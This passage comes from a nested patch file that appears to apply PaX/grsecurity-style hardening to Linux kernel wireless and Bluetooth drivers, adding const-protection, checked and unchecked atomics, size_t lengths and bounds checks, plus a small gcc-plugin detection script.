+ 			| set11nTries(i->rates, 2)
+ 			| set11nTries(i->rates, 3)
+ 			| (i->dur_update ? AR_DurUpdateEna : 0)
+ 			| SM(0, AR_BurstDur);
+ 
+-		ACCESS_ONCE(ads->ctl14) = set11nRate(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ctl14) = set11nRate(i->rates, 0)
+ 			| set11nRate(i->rates, 1)
+ 			| set11nRate(i->rates, 2)
+ 			| set11nRate(i->rates, 3);
+ 	} else {
+-		ACCESS_ONCE(ads->ctl13) = 0;
+-		ACCESS_ONCE(ads->ctl14) = 0;
++		ACCESS_ONCE_RW(ads->ctl13) = 0;
++		ACCESS_ONCE_RW(ads->ctl14) = 0;
+ 	}
+ 
+ 	ads->ctl20 = 0;
+@@ -89,17 +89,17 @@ ar9003_set_txdesc(struct ath_hw *ah, voi
+ 
+ 	ctl17 = SM(i->keytype, AR_EncrType);
+ 	if (!i->is_first) {
+-		ACCESS_ONCE(ads->ctl11) = 0;
+-		ACCESS_ONCE(ads->ctl12) = i->is_last ? 0 : AR_TxMore;
+-		ACCESS_ONCE(ads->ctl15) = 0;
+-		ACCESS_ONCE(ads->ctl16) = 0;
+-		ACCESS_ONCE(ads->ctl17) = ctl17;
+-		ACCESS_ONCE(ads->ctl18) = 0;
+-		ACCESS_ONCE(ads->ctl19) = 0;
++		ACCESS_ONCE_RW(ads->ctl11) = 0;
++		ACCESS_ONCE_RW(ads->ctl12) = i->is_last ? 0 : AR_TxMore;
++		ACCESS_ONCE_RW(ads->ctl15) = 0;
++		ACCESS_ONCE_RW(ads->ctl16) = 0;
++		ACCESS_ONCE_RW(ads->ctl17) = ctl17;
++		ACCESS_ONCE_RW(ads->ctl18) = 0;
++		ACCESS_ONCE_RW(ads->ctl19) = 0;
+ 		return;
+ 	}
+ 
+-	ACCESS_ONCE(ads->ctl11) = (i->pkt_len & AR_FrameLen)
++	ACCESS_ONCE_RW(ads->ctl11) = (i->pkt_len & AR_FrameLen)
+ 		| (i->flags & ATH9K_TXDESC_VMF ? AR_VirtMoreFrag : 0)
+ 		| SM(i->txpower, AR_XmitPower)
+ 		| (i->flags & ATH9K_TXDESC_VEOL ? AR_VEOL : 0)
+@@ -135,22 +135,22 @@ ar9003_set_txdesc(struct ath_hw *ah, voi
+ 	val = (i->flags & ATH9K_TXDESC_PAPRD) >> ATH9K_TXDESC_PAPRD_S;
+ 	ctl12 |= SM(val, AR_PAPRDChainMask);
+ 
+-	ACCESS_ONCE(ads->ctl12) = ctl12;
+-	ACCESS_ONCE(ads->ctl17) = ctl17;
++	ACCESS_ONCE_RW(ads->ctl12) = ctl12;
++	ACCESS_ONCE_RW(ads->ctl17) = ctl17;
+ 
+-	ACCESS_ONCE(ads->ctl15) = set11nPktDurRTSCTS(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ctl15) = set11nPktDurRTSCTS(i->rates, 0)
+ 		| set11nPktDurRTSCTS(i->rates, 1);
+ 
+-	ACCESS_ONCE(ads->ctl16) = set11nPktDurRTSCTS(i->rates, 2)
++	ACCESS_ONCE_RW(ads->ctl16) = set11nPktDurRTSCTS(i->rates, 2)
+ 		| set11nPktDurRTSCTS(i->rates, 3);
+ 
+-	ACCESS_ONCE(ads->ctl18) = set11nRateFlags(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ctl18) = set11nRateFlags(i->rates, 0)
+ 		| set11nRateFlags(i->rates, 1)
+ 		| set11nRateFlags(i->rates, 2)
+ 		| set11nRateFlags(i->rates, 3)
+ 		| SM(i->rtscts_rate, AR_RTSCTSRate);
+ 
+-	ACCESS_ONCE(ads->ctl19) = AR_Not_Sounding;
++	ACCESS_ONCE_RW(ads->ctl19) = AR_Not_Sounding;
+ }
+ 
+ static u16 ar9003_calc_ptr_chksum(struct ar9003_txc *ads)
+--- drivers/net/wireless/ath/ath9k/hw.h	2012-09-27 23:19:12.000000000 +0000
++++ drivers/net/wireless/ath/ath9k/hw.h	2012-10-15 17:30:59.817924530 +0000
+@@ -657,7 +657,7 @@ struct ath_hw_private_ops {
+ 
+ 	/* ANI */
+ 	void (*ani_cache_ini_regs)(struct ath_hw *ah);
+-};
++} __no_const;
+ 
+ /**
+  * struct ath_hw_ops - callbacks used by hardware code and driver code
+@@ -687,7 +687,7 @@ struct ath_hw_ops {
+ 	void (*antdiv_comb_conf_set)(struct ath_hw *ah,
+ 			struct ath_hw_antcomb_conf *antconf);
+ 	void (*antctrl_shared_chain_lnadiv)(struct ath_hw *hw, bool enable);
+-};
++} __no_const;
+ 
+ struct ath_nf_limits {
+ 	s16 max;
+@@ -707,7 +707,7 @@ enum ath_cal_list {
+ #define AH_FASTCC       0x4
+ 
+ struct ath_hw {
+-	struct ath_ops reg_ops;
++	ath_ops_no_const reg_ops;
+ 
+ 	struct ieee80211_hw *hw;
+ 	struct ath_common common;
+--- drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h	2012-09-27 23:19:11.000000000 +0000
++++ drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h	2012-10-15 17:30:59.818924529 +0000
+@@ -545,7 +545,7 @@ struct phy_func_ptr {
+ 	void (*carrsuppr)(struct brcms_phy *);
+ 	s32 (*rxsigpwr)(struct brcms_phy *, s32);
+ 	void (*detach)(struct brcms_phy *);
+-};
++} __no_const;
+ 
+ struct brcms_phy {
+ 	struct brcms_phy_pub pubpi_ro;
+--- drivers/net/wireless/iwlegacy/3945-mac.c	2012-09-27 23:19:12.000000000 +0000
++++ drivers/net/wireless/iwlegacy/3945-mac.c	2012-10-15 17:30:59.819924529 +0000
+@@ -3613,7 +3613,9 @@ il3945_pci_probe(struct pci_dev *pdev, c
+ 	 */
+ 	if (il3945_mod_params.disable_hw_scan) {
+ 		D_INFO("Disabling hw_scan\n");
+-		il3945_mac_ops.hw_scan = NULL;
++		pax_open_kernel();
++		*(void **)&il3945_mac_ops.hw_scan = NULL;
++		pax_close_kernel();
+ 	}
+ 
+ 	D_INFO("*** LOAD DRIVER ***\n");
+--- drivers/net/wireless/iwlwifi/dvm/debugfs.c	2012-09-27 23:19:11.000000000 +0000
++++ drivers/net/wireless/iwlwifi/dvm/debugfs.c	2012-10-15 17:30:59.819924529 +0000
+@@ -203,7 +203,7 @@ static ssize_t iwl_dbgfs_sram_write(stru
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[64];
+-	int buf_size;
++	size_t buf_size;
+ 	u32 offset, len;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -473,7 +473,7 @@ static ssize_t iwl_dbgfs_rx_handlers_wri
+ 	struct iwl_priv *priv = file->private_data;
+ 
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	u32 reset_flag;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -554,7 +554,7 @@ static ssize_t iwl_dbgfs_disable_ht40_wr
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int ht40;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -606,7 +606,7 @@ static ssize_t iwl_dbgfs_sleep_level_ove
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int value;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1871,7 +1871,7 @@ static ssize_t iwl_dbgfs_clear_ucode_sta
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int clear;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1916,7 +1916,7 @@ static ssize_t iwl_dbgfs_ucode_tracing_w
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int trace;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1987,7 +1987,7 @@ static ssize_t iwl_dbgfs_missed_beacon_w
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int missed;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -2028,7 +2028,7 @@ static ssize_t iwl_dbgfs_plcp_delta_writ
+ 
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int plcp;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -2088,7 +2088,7 @@ static ssize_t iwl_dbgfs_txfifo_flush_wr
+ 
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int flush;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -2178,7 +2178,7 @@ static ssize_t iwl_dbgfs_protection_mode
+ 
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int rts;
+ 
+ 	if (!priv->cfg->ht_params)
+@@ -2220,7 +2220,7 @@ static ssize_t iwl_dbgfs_echo_test_write
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 
+ 	memset(buf, 0, sizeof(buf));
+ 	buf_size = min(count, sizeof(buf) -  1);
+@@ -2256,7 +2256,7 @@ static ssize_t iwl_dbgfs_log_event_write
+ 	struct iwl_priv *priv = file->private_data;
+ 	u32 event_log_flag;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 
+ 	/* check that the interface is up */
+ 	if (!iwl_is_ready(priv))
+@@ -2310,7 +2310,7 @@ static ssize_t iwl_dbgfs_calib_disabled_
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+ 	u32 calib_disabled;
+-	int buf_size;
++	size_t buf_size;
+ 
+ 	memset(buf, 0, sizeof(buf));
+ 	buf_size = min(count, sizeof(buf) - 1);
+--- drivers/net/wireless/iwlwifi/pcie/trans.c	2012-09-27 23:19:12.000000000 +0000
++++ drivers/net/wireless/iwlwifi/pcie/trans.c	2012-10-15 17:30:59.820924530 +0000
+@@ -1944,7 +1944,7 @@ static ssize_t iwl_dbgfs_interrupt_write
+ 	struct isr_statistics *isr_stats = &trans_pcie->isr_stats;
+ 
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	u32 reset_flag;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1965,7 +1965,7 @@ static ssize_t iwl_dbgfs_csr_write(struc
+ {
+ 	struct iwl_trans *trans = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int csr;
+ 
+ 	memset(buf, 0, sizeof(buf));
+--- drivers/net/wireless/mac80211_hwsim.c	2012-09-27 23:19:12.000000000 +0000
++++ drivers/net/wireless/mac80211_hwsim.c	2012-10-15 17:30:59.820924530 +0000
+@@ -1748,9 +1748,11 @@ static int __init init_mac80211_hwsim(vo
+ 		return -EINVAL;
+ 
+ 	if (fake_hw_scan) {
+-		mac80211_hwsim_ops.hw_scan = mac80211_hwsim_hw_scan;
+-		mac80211_hwsim_ops.sw_scan_start = NULL;
+-		mac80211_hwsim_ops.sw_scan_complete = NULL;
++		pax_open_kernel();
++		*(void **)&mac80211_hwsim_ops.hw_scan = mac80211_hwsim_hw_scan;
++		*(void **)&mac80211_hwsim_ops.sw_scan_start = NULL;
++		*(void **)&mac80211_hwsim_ops.sw_scan_complete = NULL;
++		pax_close_kernel();
+ 	}
+ 
+ 	spin_lock_init(&hwsim_radio_lock);
+--- drivers/net/wireless/mwifiex/main.h	2012-09-27 23:19:11.000000000 +0000
++++ drivers/net/wireless/mwifiex/main.h	2012-10-15 17:30:59.820924530 +0000
+@@ -571,7 +571,7 @@ struct mwifiex_if_ops {
+ 	int (*event_complete) (struct mwifiex_adapter *, struct sk_buff *);
+ 	int (*data_complete) (struct mwifiex_adapter *, struct sk_buff *);
+ 	int (*dnld_fw) (struct mwifiex_adapter *, struct mwifiex_fw_image *);
+-};
++} __no_const;
+ 
+ struct mwifiex_adapter {
+ 	u8 iface_type;
+--- drivers/net/wireless/rndis_wlan.c	2012-09-27 23:19:12.000000000 +0000
++++ drivers/net/wireless/rndis_wlan.c	2012-10-15 17:30:59.821924531 +0000
+@@ -1235,7 +1235,7 @@ static int set_rts_threshold(struct usbn
+ 
+ 	netdev_dbg(usbdev->net, "%s(): %i\n", __func__, rts_threshold);
+ 
+-	if (rts_threshold < 0 || rts_threshold > 2347)
++	if (rts_threshold > 2347)
+ 		rts_threshold = 2347;
+ 
+ 	tmp = cpu_to_le32(rts_threshold);
+--- drivers/net/wireless/rt2x00/rt2x00.h	2012-09-27 23:19:11.000000000 +0000
++++ drivers/net/wireless/rt2x00/rt2x00.h	2012-10-15 17:30:59.821924531 +0000
+@@ -397,7 +397,7 @@ struct rt2x00_intf {
+ 	 * for hardware which doesn't support hardware
+ 	 * sequence counting.
+ 	 */
+-	atomic_t seqno;
++	atomic_unchecked_t seqno;
+ };
+ 
+ static inline struct rt2x00_intf* vif_to_intf(struct ieee80211_vif *vif)
+--- drivers/net/wireless/rt2x00/rt2x00queue.c	2012-09-27 23:19:11.000000000 +0000
++++ drivers/net/wireless/rt2x00/rt2x00queue.c	2012-10-15 17:30:59.822924531 +0000
+@@ -240,9 +240,9 @@ static void rt2x00queue_create_tx_descri
+ 	 * sequence counter given by mac80211.
+ 	 */
+ 	if (test_bit(ENTRY_TXD_FIRST_FRAGMENT, &txdesc->flags))
+-		seqno = atomic_add_return(0x10, &intf->seqno);
++		seqno = atomic_add_return_unchecked(0x10, &intf->seqno);
+ 	else
+-		seqno = atomic_read(&intf->seqno);
++		seqno = atomic_read_unchecked(&intf->seqno);
+ 
+ 	hdr->seq_ctrl &= cpu_to_le16(IEEE80211_SCTL_FRAG);
+ 	hdr->seq_ctrl |= cpu_to_le16(seqno);
+--- drivers/net/wireless/ti/wl1251/wl1251.h	2012-09-27 23:19:11.000000000 +0000
++++ drivers/net/wireless/ti/wl1251/wl1251.h	2012-10-15 17:30:59.822924531 +0000
+@@ -266,7 +266,7 @@ struct wl1251_if_operations {
+ 	void (*reset)(struct wl1251 *wl);
+ 	void (*enable_irq)(struct wl1251 *wl);
+ 	void (*disable_irq)(struct wl1251 *wl);
+-};
++} __no_const;
+ 
+ struct wl1251 {
+ 	struct ieee80211_hw *hw;
+--- drivers/net/wireless/ti/wlcore/wlcore.h	2012-09-27 23:19:12.000000000 +0000
++++ drivers/net/wireless/ti/wlcore/wlcore.h	2012-10-15 17:30:59.822924531 +0000
+@@ -81,7 +81,7 @@ struct wlcore_ops {
+ 		       struct ieee80211_sta *sta,
+ 		       struct ieee80211_key_conf *key_conf);
+ 	u32 (*pre_pkt_send)(struct wl1271 *wl, u32 buf_offset, u32 last_len);
+-};
++} __no_const;
+ 
+ enum wlcore_partitions {
+ 	PART_DOWN,
+--- include/linux/unaligned/access_ok.h	2012-09-17 19:15:56.000000000 +0000
++++ include/linux/unaligned/access_ok.h	2012-10-15 17:30:59.823924531 +0000
+@@ -6,32 +6,32 @@
+ 
+ static inline u16 get_unaligned_le16(const void *p)
+ {
+-	return le16_to_cpup((__le16 *)p);
++	return le16_to_cpup((const __le16 *)p);
+ }
+ 
+ static inline u32 get_unaligned_le32(const void *p)
+ {
+-	return le32_to_cpup((__le32 *)p);
++	return le32_to_cpup((const __le32 *)p);
+ }
+ 
+ static inline u64 get_unaligned_le64(const void *p)
+ {
+-	return le64_to_cpup((__le64 *)p);
++	return le64_to_cpup((const __le64 *)p);
+ }
+ 
+ static inline u16 get_unaligned_be16(const void *p)
+ {
+-	return be16_to_cpup((__be16 *)p);
++	return be16_to_cpup((const __be16 *)p);
+ }
+ 
+ static inline u32 get_unaligned_be32(const void *p)
+ {
+-	return be32_to_cpup((__be32 *)p);
++	return be32_to_cpup((const __be32 *)p);
+ }
+ 
+ static inline u64 get_unaligned_be64(const void *p)
+ {
+-	return be64_to_cpup((__be64 *)p);
++	return be64_to_cpup((const __be64 *)p);
+ }
+ 
+ static inline void put_unaligned_le16(u16 val, void *p)
+--- net/bluetooth/hci_sock.c	2012-09-27 23:19:12.000000000 +0000
++++ net/bluetooth/hci_sock.c	2012-10-15 17:30:59.825924531 +0000
+@@ -940,7 +940,7 @@ static int hci_sock_setsockopt(struct so
+ 			uf.event_mask[1] = *((u32 *) f->event_mask + 1);
+ 		}
+ 
+-		len = min_t(unsigned int, len, sizeof(uf));
++		len = min((size_t)len, sizeof(uf));
+ 		if (copy_from_user(&uf, optval, len)) {
+ 			err = -EFAULT;
+ 			break;
+--- net/bluetooth/l2cap_core.c	2012-09-27 23:19:11.000000000 +0000
++++ net/bluetooth/l2cap_core.c	2012-10-15 17:30:59.825924531 +0000
+@@ -3165,8 +3165,10 @@ static int l2cap_parse_conf_rsp(struct l
+ 			break;
+ 
+ 		case L2CAP_CONF_RFC:
+-			if (olen == sizeof(rfc))
+-				memcpy(&rfc, (void *)val, olen);
++			if (olen != sizeof(rfc))
++				break;
++
++			memcpy(&rfc, (void *)val, olen);
+ 
+ 			if (test_bit(CONF_STATE2_DEVICE, &chan->conf_state) &&
+ 							rfc.mode != chan->mode)
+--- net/bluetooth/l2cap_sock.c	2012-09-27 23:19:12.000000000 +0000
++++ net/bluetooth/l2cap_sock.c	2012-10-15 17:30:59.826924531 +0000
+@@ -467,7 +467,8 @@ static int l2cap_sock_setsockopt_old(str
+ 	struct sock *sk = sock->sk;
+ 	struct l2cap_chan *chan = l2cap_pi(sk)->chan;
+ 	struct l2cap_options opts;
+-	int len, err = 0;
++	int err = 0;
++	size_t len = optlen;
+ 	u32 opt;
+ 
+ 	BT_DBG("sk %p", sk);
+@@ -489,7 +490,7 @@ static int l2cap_sock_setsockopt_old(str
+ 		opts.max_tx   = chan->max_tx;
+ 		opts.txwin_size = chan->tx_win;
+ 
+-		len = min_t(unsigned int, sizeof(opts), optlen);
++		len = min(sizeof(opts), len);
+ 		if (copy_from_user((char *) &opts, optval, len)) {
+ 			err = -EFAULT;
+ 			break;
+@@ -574,7 +575,8 @@ static int l2cap_sock_setsockopt(struct
+ 	struct bt_security sec;
+ 	struct bt_power pwr;
+ 	struct l2cap_conn *conn;
+-	int len, err = 0;
++	int err = 0;
++	size_t len = optlen;
+ 	u32 opt;
+ 
+ 	BT_DBG("sk %p", sk);
+@@ -597,7 +599,7 @@ static int l2cap_sock_setsockopt(struct
+ 
+ 		sec.level = BT_SECURITY_LOW;
+ 
+-		len = min_t(unsigned int, sizeof(sec), optlen);
++		len = min(sizeof(sec), len);
+ 		if (copy_from_user((char *) &sec, optval, len)) {
+ 			err = -EFAULT;
+ 			break;
+@@ -694,7 +696,7 @@ static int l2cap_sock_setsockopt(struct
+ 
+ 		pwr.force_active = BT_POWER_FORCE_ACTIVE_ON;
+ 
+-		len = min_t(unsigned int, sizeof(pwr), optlen);
++		len = min(sizeof(pwr), len);
+ 		if (copy_from_user((char *) &pwr, optval, len)) {
+ 			err = -EFAULT;
+ 			break;
+--- net/bluetooth/rfcomm/sock.c	2012-09-27 23:19:12.000000000 +0000
++++ net/bluetooth/rfcomm/sock.c	2012-10-15 17:30:59.826924531 +0000
+@@ -676,7 +676,7 @@ static int rfcomm_sock_setsockopt(struct
+ 	struct sock *sk = sock->sk;
+ 	struct bt_security sec;
+ 	int err = 0;
+-	size_t len;
++	size_t len = optlen;
+ 	u32 opt;
+ 
+ 	BT_DBG("sk %p", sk);
+@@ -698,7 +698,7 @@ static int rfcomm_sock_setsockopt(struct
+ 
+ 		sec.level = BT_SECURITY_LOW;
+ 
+-		len = min_t(unsigned int, sizeof(sec), optlen);
++		len = min(sizeof(sec), len);
+ 		if (copy_from_user((char *) &sec, optval, len)) {
+ 			err = -EFAULT;
+ 			break;
+--- net/bluetooth/rfcomm/tty.c	2012-09-27 23:19:12.000000000 +0000
++++ net/bluetooth/rfcomm/tty.c	2012-10-15 17:30:59.826924531 +0000
+@@ -309,7 +309,7 @@ static void rfcomm_dev_del(struct rfcomm
+ 	BUG_ON(test_and_set_bit(RFCOMM_TTY_RELEASED, &dev->flags));
+ 
+ 	spin_lock_irqsave(&dev->port.lock, flags);
+-	if (dev->port.count > 0) {
++	if (atomic_read(&dev->port.count) > 0) {
+ 		spin_unlock_irqrestore(&dev->port.lock, flags);
+ 		return;
+ 	}
+@@ -664,10 +664,10 @@ static int rfcomm_tty_open(struct tty_st
+ 		return -ENODEV;
+ 
+ 	BT_DBG("dev %p dst %s channel %d opened %d", dev, batostr(&dev->dst),
+-				dev->channel, dev->port.count);
++				dev->channel, atomic_read(&dev->port.count));
+ 
+ 	spin_lock_irqsave(&dev->port.lock, flags);
+-	if (++dev->port.count > 1) {
++	if (atomic_inc_return(&dev->port.count) > 1) {
+ 		spin_unlock_irqrestore(&dev->port.lock, flags);
+ 		return 0;
+ 	}
+@@ -736,10 +736,10 @@ static void rfcomm_tty_close(struct tty_
+ 		return;
+ 
+ 	BT_DBG("tty %p dev %p dlc %p opened %d", tty, dev, dev->dlc,
+-						dev->port.count);
++						atomic_read(&dev->port.count));
+ 
+ 	spin_lock_irqsave(&dev->port.lock, flags);
+-	if (!--dev->port.count) {
++	if (!atomic_dec_return(&dev->port.count)) {
+ 		spin_unlock_irqrestore(&dev->port.lock, flags);
+ 		if (dev->tty_dev->parent)
+ #if (LINUX_VERSION_CODE > KERNEL_VERSION(2,6,29))
+--- net/mac80211/ieee80211_i.h	2012-09-27 23:19:12.000000000 +0000
++++ net/mac80211/ieee80211_i.h	2012-10-15 17:30:59.827924531 +0000
+@@ -28,6 +28,7 @@
+ #include <net/ieee80211_radiotap.h>
+ #include <net/cfg80211.h>
+ #include <net/mac80211.h>
++#include <asm/local.h>
+ #include "key.h"
+ #include "sta_info.h"
+ #include "debug.h"
+@@ -840,7 +841,7 @@ struct ieee80211_local {
+ 	/* also used to protect ampdu_ac_queue and amdpu_ac_stop_refcnt */
+ 	spinlock_t queue_stop_reason_lock;
+ 
+-	int open_count;
++	local_t open_count;
+ 	int monitors, cooked_mntrs;
+ 	/* number of interfaces with corresponding FIF_ flags */
+ 	int fif_fcsfail, fif_plcpfail, fif_control, fif_other_bss, fif_pspoll,
+--- net/mac80211/iface.c	2012-09-27 23:19:12.000000000 +0000
++++ net/mac80211/iface.c	2012-10-15 17:30:59.827924531 +0000
+@@ -454,7 +454,7 @@ static int ieee80211_do_open(struct net_
+ 		break;
+ 	}
+ 
+-	if (local->open_count == 0) {
++	if (local_read(&local->open_count) == 0) {
+ 		res = drv_start(local);
+ 		if (res)
+ 			goto err_del_bss;
+@@ -497,7 +497,7 @@ static int ieee80211_do_open(struct net_
+ 			break;
+ 		}
+ 
+-		if (local->monitors == 0 && local->open_count == 0) {
++		if (local->monitors == 0 && local_read(&local->open_count) == 0) {
+ 			res = ieee80211_add_virtual_monitor(local);
+ 			if (res)
+ 				goto err_stop;
+@@ -594,7 +594,7 @@ static int ieee80211_do_open(struct net_
+ 	mutex_unlock(&local->mtx);
+ 
+ 	if (coming_up)
+-		local->open_count++;
++		local_inc(&local->open_count);
+ 
+ 	if (hw_reconf_flags)
+ 		ieee80211_hw_config(local, hw_reconf_flags);
+@@ -607,7 +607,7 @@ static int ieee80211_do_open(struct net_
+  err_del_interface:
+ 	drv_remove_interface(local, sdata);
+  err_stop:
+-	if (!local->open_count)
++	if (!local_read(&local->open_count))
+ 		drv_stop(local);
+  err_del_bss:
+ 	sdata->bss = NULL;
+@@ -741,7 +741,7 @@ static void ieee80211_do_stop(struct iee
+ 	}
+ 
+ 	if (going_down)
+-		local->open_count--;
++		local_dec(&local->open_count);
+ 
+ 	switch (sdata->vif.type) {
+ 	case NL80211_IFTYPE_AP_VLAN:
+@@ -801,7 +801,7 @@ static void ieee80211_do_stop(struct iee
+ 
+ 	ieee80211_recalc_ps(local, -1);
+ 
+-	if (local->open_count == 0) {
++	if (local_read(&local->open_count) == 0) {
+ 		if (local->ops->napi_poll)
+ 			napi_disable(&local->napi);
+ 		ieee80211_clear_tx_pending(local);
+@@ -833,7 +833,7 @@ static void ieee80211_do_stop(struct iee
+ 	}
+ 	spin_unlock_irqrestore(&local->queue_stop_reason_lock, flags);
+ 
+-	if (local->monitors == local->open_count && local->monitors > 0)
++	if (local->monitors == local_read(&local->open_count) && local->monitors > 0)
+ 		ieee80211_add_virtual_monitor(local);
+ }
+ 
+--- net/mac80211/main.c	2012-09-27 23:19:12.000000000 +0000
++++ net/mac80211/main.c	2012-10-15 17:30:59.827924531 +0000
+@@ -170,7 +170,7 @@ int ieee80211_hw_config(struct ieee80211
+ 		local->hw.conf.power_level = power;
+ 	}
+ 
+-	if (changed && local->open_count) {
++	if (changed && local_read(&local->open_count)) {
+ 		ret = drv_config(local, changed);
+ 		/*
+ 		 * Goal:
+--- net/mac80211/pm.c	2012-09-27 23:19:11.000000000 +0000
++++ net/mac80211/pm.c	2012-10-15 17:30:59.828924531 +0000
+@@ -34,7 +34,7 @@ int __ieee80211_suspend(struct ieee80211
+ 	struct ieee80211_sub_if_data *sdata;
+ 	struct sta_info *sta;
+ 
+-	if (!local->open_count)
++	if (!local_read(&local->open_count))
+ 		goto suspend;
+ 
+ 	ieee80211_scan_cancel(local);
+@@ -72,7 +72,7 @@ int __ieee80211_suspend(struct ieee80211
+ 	cancel_work_sync(&local->dynamic_ps_enable_work);
+ 	del_timer_sync(&local->dynamic_ps_timer);
+ 
+-	local->wowlan = wowlan && local->open_count;
++	local->wowlan = wowlan && local_read(&local->open_count);
+ 	if (local->wowlan) {
+ 		int err = drv_suspend(local, wowlan);
+ 		if (err < 0) {
+@@ -143,7 +143,7 @@ int __ieee80211_suspend(struct ieee80211
+ 		drv_remove_interface(local, sdata);
+ 
+ 	/* stop hardware - this must stop RX */
+-	if (local->open_count)
++	if (local_read(&local->open_count))
+ 		ieee80211_stop_device(local);
+ 
+  suspend:
+--- net/mac80211/rate.c	2012-09-27 23:19:12.000000000 +0000
++++ net/mac80211/rate.c	2012-10-15 17:30:59.828924531 +0000
+@@ -494,7 +494,7 @@ int ieee80211_init_rate_ctrl_alg(struct
+ 
+ 	ASSERT_RTNL();
+ 
+-	if (local->open_count)
++	if (local_read(&local->open_count))
+ 		return -EBUSY;
+ 
+ 	if (local->hw.flags & IEEE80211_HW_HAS_RATE_CONTROL) {
+--- net/mac80211/rc80211_pid_debugfs.c	2012-09-27 23:19:11.000000000 +0000
++++ net/mac80211/rc80211_pid_debugfs.c	2012-10-15 17:30:59.828924531 +0000
+@@ -193,7 +193,7 @@ static ssize_t rate_control_pid_events_r
+ 
+ 	spin_unlock_irqrestore(&events->lock, status);
+ 
+-	if (copy_to_user(buf, pb, p))
++	if (p > sizeof(pb) || copy_to_user(buf, pb, p))
+ 		return -EFAULT;
+ 
+ 	return p;
+--- net/mac80211/util.c	2012-09-27 23:19:11.000000000 +0000
++++ net/mac80211/util.c	2012-10-15 17:30:59.828924531 +0000
+@@ -1251,7 +1251,7 @@ int ieee80211_reconfig(struct ieee80211_
+ 	}
+ #endif
+ 	/* everything else happens only if HW was up & running */
+-	if (!local->open_count)
++	if (!local_read(&local->open_count))
+ 		goto wake_up;
+ 
+ 	/*
+--- net/wireless/core.h	2012-09-27 23:19:11.000000000 +0000
++++ net/wireless/core.h	2012-10-15 17:30:59.829924531 +0000
+@@ -28,7 +28,7 @@ struct cfg80211_registered_device {
+ 	struct mutex mtx;
+ 
+ 	/* rfkill support */
+-	struct rfkill_ops rfkill_ops;
++	rfkill_ops_no_const rfkill_ops;
+ 	struct rfkill *rfkill;
+ 	struct work_struct rfkill_sync;
+ 
+--- net/wireless/wext-core.c	2012-09-27 23:19:12.000000000 +0000
++++ net/wireless/wext-core.c	2012-10-15 17:30:59.829924531 +0000
+@@ -792,8 +792,7 @@ static int ioctl_standard_iw_point(struc
+ 		 */
+ 
+ 		/* Support for very large requests */
+-		if ((descr->flags & IW_DESCR_FLAG_NOMAX) &&
+-		    (user_length > descr->max_tokens)) {
++		if (user_length > descr->max_tokens) {
+ 			/* Allow userspace to GET more than max so
+ 			 * we can support any size GET requests.
+ 			 * There is still a limit : -ENOMEM.
+@@ -832,22 +831,6 @@ static int ioctl_standard_iw_point(struc
+ 		}
+ 	}
+ 
+-	if (IW_IS_GET(cmd) && !(descr->flags & IW_DESCR_FLAG_NOMAX)) {
+-		/*
+-		 * If this is a GET, but not NOMAX, it means that the extra
+-		 * data is not bounded by userspace, but by max_tokens. Thus
+-		 * set the length to max_tokens. This matches the extra data
+-		 * allocation.
+-		 * The driver should fill it with the number of tokens it
+-		 * provided, and it may check iwp->length rather than having
+-		 * knowledge of max_tokens. If the driver doesn't change the
+-		 * iwp->length, this ioctl just copies back max_token tokens
+-		 * filled with zeroes. Hopefully the driver isn't claiming
+-		 * them to be valid data.
+-		 */
+-		iwp->length = descr->max_tokens;
+-	}
+-
+ 	err = handler(dev, info, (union iwreq_data *) iwp, extra);
+ 
+ 	iwp->length += essid_compat;
+--- scripts/gcc-plugin.sh	1970-01-01 00:00:00.000000000 +0000
++++ scripts/gcc-plugin.sh	2012-10-15 17:30:59.829924531 +0000
+@@ -0,0 +1,17 @@
++#!/bin/bash
++plugincc=`$1 -x c -shared - -o /dev/null -I\`$3 -print-file-name=plugin\`/include 2>&1 <<EOF
++#include "gcc-plugin.h"
++#include "tree.h"
++#include "tm.h"
++#include "rtl.h"
++#ifdef ENABLE_BUILD_WITH_CXX
++#warning $2
++#else
++#warning $1
++#endif
++EOF`
++if [ $? -eq 0 ]
++then
++	[[ "$plugincc" =~ "$1" ]] && echo "$1"
++	[[ "$plugincc" =~ "$2" ]] && echo "$2"
++fi
+--- tools/gcc/.gitignore	1970-01-01 00:00:00.000000000 +0000
